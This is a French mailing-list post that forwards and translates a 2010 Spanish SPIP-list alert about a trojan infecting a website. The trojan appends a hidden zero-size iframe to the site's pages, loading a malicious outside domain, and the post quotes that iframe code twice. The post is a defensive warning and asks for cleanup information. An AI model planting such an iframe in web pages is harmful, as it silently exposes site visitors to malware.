Yo, je vous fais suivre un mail qui a l'air aussi évasif qu'incertain
(j'ai pas dit fumeux), mais si vous avez des infos, confirmations,
informations ou corrections... "adelante" ("allez-y", en mexicain).
Je pense que ça se comprend grosso-modo, mais je mets une traduction
plus bas.
-------
Fecha: Mon, 26 Apr 2010 20:21:20 +0200
Desde: jose luis murillo <joseluis@digital77.com>
Para: Spip-es@rezo.net
Asunto: [Spip-es] alerta troyano
Hola.
En uno de los sitios con spip se ha colado un troyano que crea este
frame al final de la página:
<html><body><iframe src="http://mumukafes.net/trf/index.php
<view-source:http://mumukafes.net/trf/index.php>"width="0"height="0"frameborder="0"></iframe></body></html>
En principio podría ser por un subdirectorio donde tienen montado un
wordpress ya que está sufriendo un ataque de este tipo estos días
(http://darkom.cl/home/1-ultimas-noticias/121-ataque-masivo-de-malware-a-blogs-wordpress.html)
Pero como se ha metido en su base de datos y trabaja sobre el dominio
principal infecta todas las páginas incuidas las de spip.
Estoy trabajando para limpiarlo, pero si alguien tiene más información
sería bueno conocerla.
Si no os sale el mensajito de software con sitio malicioso en vuestras
webs tranquis que no tenéis problema.
Un saludo.
Salut,
Sur l'un des sites SPIP s'est posé un cheval de troie qui crée cette
frame à la fin de la page :
<html><body><iframe src="http://mumukafes.net/trf/index.php
<view-source:http://mumukafes.net/trf/index.php>"width="0"height="0"frameborder="0"></iframe></body></html>
Il est possible que ça vienne d'un sous-répertoire contenant un
wordpress, étant donné que celui-ci a reçu une attaque du même genre
ces jours-ci (http://darkom.cl/home/1-ultimas-noticias/121-ataque-masivo-de-malware-a-blogs-wordpress.html)
Mais comme il s'est mis dans la base de données et qu'il travaille sur
le domaine principal, il infecte toutes les pages y compris celles de
SPIP.
Je suis en train de le nettoyer, mais si quelqu'un a d'autres
informations, je prends.
Si vous n'avez pas de message "site malveillant" du logiciel sur vos
sites, pas d'inquiétude, vous n'avez pas de problème.